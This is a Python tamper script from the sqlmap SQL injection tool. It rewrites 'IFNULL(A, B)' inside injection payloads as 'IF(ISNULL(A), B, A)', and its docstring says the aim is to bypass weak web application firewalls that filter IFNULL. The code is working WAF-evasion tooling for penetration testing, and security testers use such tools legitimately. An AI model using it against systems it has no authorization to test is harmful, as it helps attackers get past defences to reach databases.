text: #!/usr/bin/env python
  
  """
  Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
  See the file 'doc/COPYING' for copying permission
  """
  
  from lib.core.enums import PRIORITY
  
  __priority__ = PRIORITY.HIGHEST
  
  def dependencies():
      pass
  
  def tamper(payload, **kwargs):
      """
      Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
  
      Requirement:
          * MySQL
          * SQLite (possibly)
          * SAP MaxDB (possibly)
  
      Tested against:
          * MySQL 5.0 and 5.5
  
      Notes:
          * Useful to bypass very weak and bespoke web application firewalls
            that filter the IFNULL() function
  
      >>> tamper('IFNULL(1, 2)')
      'IF(ISNULL(1),2,1)'
      """
  
      if payload and payload.find("IFNULL") > -1:
          while payload.find("IFNULL(") > -1:
              index = payload.find("IFNULL(")
              depth = 1
              comma, end = None, None
  
              for i in xrange(index + len("IFNULL("), len(payload)):
                  if depth == 1 and payload[i] == ',':
                      comma = i
  
                  elif depth == 1 and payload[i] == ')':
                      end = i
                      break
  
                  elif payload[i] == '(':
                      depth += 1
  
                  elif payload[i] == ')':
                      depth -= 1
  
              if comma and end:
                  _ = payload[index + len("IFNULL("):comma]
                  __ = payload[comma + 1:end].lstrip()
                  newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _)
                  payload = payload[:index] + newVal + payload[end + 1:]
              else:
                  break
  
      return payload
  